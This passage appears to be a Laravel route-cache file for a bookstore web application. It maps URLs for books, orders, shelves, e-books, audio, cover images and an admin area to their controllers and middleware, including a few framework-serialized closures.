'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.add_scan' =>
array (
'methods' =>
array (
0 => 'POST',
),
'uri' => 'admin/scan',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\HomeController@addScannedBook',
'controller' => 'App\\Http\\Controllers\\HomeController@addScannedBook',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'admin.add_scan',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'book_details' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'books/{slug}',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\BookController@bookDetails',
'controller' => 'App\\Http\\Controllers\\BookController@bookDetails',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'book_details',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'book_order' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'book/order/{slug}',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\BookController@bookOrder',
'controller' => 'App\\Http\\Controllers\\BookController@bookOrder',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'book_order',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'submit_order' =>
array (
'methods' =>
array (
0 => 'POST',
),
'uri' => 'book/order/{slug}',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
1 => 'throttle:5,1',
),
'uses' => 'App\\Http\\Controllers\\BookController@submitOrder',
'controller' => 'App\\Http\\Controllers\\BookController@submitOrder',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'submit_order',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'shelf' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'shelf',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\BookController@shelf',
'controller' => 'App\\Http\\Controllers\\BookController@shelf',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'shelf',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'generated::S4kuwuJUdC4splSp' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'agb',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'O:55:"Laravel\\SerializableClosure\\UnsignedSerializableClosure":1:{s:12:"serializable";O:46:"Laravel\\SerializableClosure\\Serializers\\Native":5:{s:3:"use";a:0:{}s:8:"function";s:20:"fn() => \\view(\'agb\')";s:5:"scope";s:37:"Illuminate\\Routing\\RouteFileRegistrar";s:4:"this";N;s:4:"self";s:32:"00000000000003520000000000000000";}}',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'generated::S4kuwuJUdC4splSp',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'generated::HWVgEgItQBI3ZyAB' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'timer',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'O:55:"Laravel\\SerializableClosure\\UnsignedSerializableClosure":1:{s:12:"serializable";O:46:"Laravel\\SerializableClosure\\Serializers\\Native":5:{s:3:"use";a:0:{}s:8:"function";s:22:"fn() => \\view(\'timer\')";s:5:"scope";s:37:"Illuminate\\Routing\\RouteFileRegistrar";s:4:"this";N;s:4:"self";s:32:"00000000000003540000000000000000";}}',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'generated::HWVgEgItQBI3ZyAB',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'generated::BItqdlyXD17S4yWT' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'test',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'O:55:"Laravel\\SerializableClosure\\UnsignedSerializableClosure":1:{s:12:"serializable";O:46:"Laravel\\SerializableClosure\\Serializers\\Native":5:{s:3:"use";a:0:{}s:8:"function";s:146:"function (\\Illuminate\\Http\\Request $request) {
return \\view(\'test\', [
\'isbn13\' => $request->query(\'isbn13\'),
]);
}";s:5:"scope";s:37:"Illuminate\\Routing\\RouteFileRegistrar";s:4:"this";N;s:4:"self";s:32:"00000000000003560000000000000000";}}',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'generated::BItqdlyXD17S4yWT',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'generated::aUrKYHvChluyPcnD' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'isbn13/{isbn}',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'O:55:"Laravel\\SerializableClosure\\UnsignedSerializableClosure":1:{s:12:"serializable";O:46:"Laravel\\SerializableClosure\\Serializers\\Native":5:{s:3:"use";a:0:{}s:8:"function";s:246:"function (\\Illuminate\\Http\\Request $request, $isbn) {
// Optionally sanitize the ISBN (e.g. remove hyphens)
$isbn13 = \\str_replace(\'-\', \'\', $isbn);
return \\view(\'test\', [
\'isbn13\' => $isbn13,
]);
}";s:5:"scope";s:37:"Illuminate\\Routing\\RouteFileRegistrar";s:4:"this";N;s:4:"self";s:32:"00000000000003580000000000000000";}}',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'generated::aUrKYHvChluyPcnD',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
'isbn' => '[0-9\\-]+',
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'index' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => '/',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\BookController@home',
'controller' => 'App\\Http\\Controllers\\BookController@home',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'index',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'books.index' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'books',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\BookController@index',
'controller' => 'App\\Http\\Controllers\\BookController@index',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'books.index',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'shelves.index' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'shelves',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\ShelfController@index',
'controller' => 'App\\Http\\Controllers\\ShelfController@index',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'shelves.index',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'shelves.show' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'shelves/{shelf}',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\ShelfController@show',
'controller' => 'App\\Http\\Controllers\\ShelfController@show',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'shelves.show',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
'shelf' => 'slug',
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'shelves.og' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'shelves/{shelf}/og.png',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\ShelfController@ogImage',
'controller' => 'App\\Http\\Controllers\\ShelfController@ogImage',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'shelves.og',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
'shelf' => 'slug',
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.dashboard' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'admin',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
1 => 'auth',
),
'uses' => 'App\\Http\\Controllers\\Admin\\DashboardController@index',
'controller' => 'App\\Http\\Controllers\\Admin\\DashboardController@index',
'namespace' => NULL,
'prefix' => '/admin',
'where' =>
array (
),
'as' => 'admin.dashboard',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.switch-store' =>
array (
'methods' =>
array (
0 => 'POST',
),
'uri' => 'admin/switch-store',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
1 => 'auth',
),
'uses' => 'App\\Http\\Controllers\\Admin\\DashboardController@switchStore',
'controller' => 'App\\Http\\Controllers\\Admin\\DashboardController@switchStore',
'namespace' => NULL,
'prefix' => '/admin',
'where' =>
array (
),
'as' => 'admin.switch-store',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.shelves.index' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'admin/shelves',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
1 => 'auth',
),
'uses' => 'App\\Http\\Controllers\\Admin\\ShelfController@index',
'controller' => 'App\\Http\\Controllers\\Admin\\ShelfController@index',
'namespace' => NULL,
'prefix' => '/admin',
'where' =>
array (
),
'as' => 'admin.shelves.index',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.shelves.create' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'admin/shelves/create',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
1 => 'auth',
),
'uses' => 'App\\Http\\Controllers\\Admin\\ShelfController@create',
'controller' => 'App\\Http\\Controllers\\Admin\\ShelfController@create',
'namespace' => NULL,
'prefix' => '/admin',
'where' =>
array (
),
'as' => 'admin.shelves.create',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.shelves.store' =>
array (
'methods' =>
array (
0 => 'POST',
),
'uri' => 'admin/shelves',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
1 => 'auth',
),
'uses' => 'App\\Http\\Controllers\\Admin\\ShelfController@store',
'controller' => 'App\\Http\\Controllers\\Admin\\ShelfController@store',
'namespace' => NULL,
'prefix' => '/admin',
'where' =>
array (
),
'as' => 'admin.shelves.store',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.shelves.edit' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'admin/shelves/{shelf}/edit',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
1 => 'auth',
),
'uses' => 'App\\Http\\Controllers\\Admin\\ShelfController@edit',
'controller' => 'App\\Http\\Controllers\\Admin\\ShelfController@edit',
'namespace' => NULL,
'prefix' => '/admin',
'where' =>
array (
),
'as' => 'admin.shelves.edit',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.shelves.update' =>
array (
'methods' =>
array (
0 => 'PUT',
),
'uri' => 'admin/shelves/{shelf}',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
1 => 'auth',
),
'uses' => 'App\\Http\\Controllers\\Admin\\ShelfController@update',
'controller' => 'App\\Http\\Controllers\\Admin\\ShelfController@update',
'namespace' => NULL,
'prefix' => '/admin',
'where' =>
array (
),
'as' => 'admin.shelves.update',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.shelves.search' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'admin/shelves/{shelf}/search',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
1 => 'auth',
),
'uses' => 'App\\Http\\Controllers\\Admin\\ShelfController@searchBooks',
'controller' => 'App\\Http\\Controllers\\Admin\\ShelfController@searchBooks',
'namespace' => NULL,
'prefix' => '/admin',
'where' =>
array (
),
'as' => 'admin.shelves.search',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
'shelf' => 'id',
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.shelves.books.list' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'admin/shelves/{shelf}/books/list',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
1 => 'auth',
),
'uses' => 'App\\Http\\Controllers\\Admin\\ShelfController@listBooks',
'controller' => 'App\\Http\\Controllers\\Admin\\ShelfController@listBooks',
'namespace' => NULL,
'prefix' => '/admin',
'where' =>
array (
),
'as' => 'admin.shelves.books.list',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
'shelf' => 'id',
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.shelves.books.store' =>
array (
'methods' =>
array (
0 => 'POST',
),
'uri' => 'admin/shelves/{shelf}/books',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
1 => 'auth',
),
'uses' => 'App\\Http\\Controllers\\Admin\\ShelfController@addBooks',
'controller' => 'App\\Http\\Controllers\\Admin\\ShelfController@addBooks',
'namespace' => NULL,
'prefix' => '/admin',
'where' =>
array (
),
'as' => 'admin.shelves.books.store',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.shelves.books.attach' =>
array (
'methods' =>
array (
0 => 'POST',
),
'uri' => 'admin/shelves/{shelf}/books/attach',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
1 => 'auth',
),
'uses' => 'App\\Http\\Controllers\\Admin\\ShelfController@attachBook',
'controller' => 'App\\Http\\Controllers\\Admin\\ShelfController@attachBook',
'namespace' => NULL,
'prefix' => '/admin',
'where' =>
array (
),
'as' => 'admin.shelves.books.attach',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.shelves.books.delete' =>
array (
'methods' =>
array (
0 => 'DELETE',
),
'uri' => 'admin/shelves/{shelf}/books/{shelfBook}',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
1 => 'auth',
),
'uses' => 'App\\Http\\Controllers\\Admin\\ShelfController@deleteBook',
'controller' => 'App\\Http\\Controllers\\Admin\\ShelfController@deleteBook',
'namespace' => NULL,
'prefix' => '/admin',
'where' =>
array (
),
'as' => 'admin.shelves.books.delete',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'reading.videos' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'sessions',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\ReadingSessionVideoController@index',
'controller' => 'App\\Http\\Controllers\\ReadingSessionVideoController@index',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'reading.videos',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'ebooks.index' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'ebook',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\BookController@eBookFind',
'controller' => 'App\\Http\\Controllers\\BookController@eBookFind',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'ebooks.index',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'ebooks.scan' =>
array (
'methods' =>
array (
0 => 'POST',
),
'uri' => 'ebook/scan',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\BookController@scanBarcode',
'controller' => 'App\\Http\\Controllers\\BookController@scanBarcode',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'ebooks.scan',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'ebooks.show' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'ebook/{isbn13}',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\BookController@eBookDetails',
'controller' => 'App\\Http\\Controllers\\BookController@eBookDetails',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'ebooks.show',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'audio.index' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'audio',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\BookController@audioFind',
'controller' => 'App\\Http\\Controllers\\BookController@audioFind',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'audio.index',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'audio.scan' =>
array (
'methods' =>
array (
0 => 'POST',
),
'uri' => 'audio/scan',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\BookController@audioScan',
'controller' => 'App\\Http\\Controllers\\BookController@audioScan',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'audio.scan',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'audio.show' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'audio/{isbn13}',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\BookController@audioShow',
'controller' => 'App\\Http\\Controllers\\BookController@audioShow',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'audio.show',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'cover.proxy' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'cover/{filename}',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\BookController@getCover',
'controller' => 'App\\Http\\Controllers\\BookController@getCover',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'cover.proxy',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
'filename' => '[^/]+',
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
),
)
);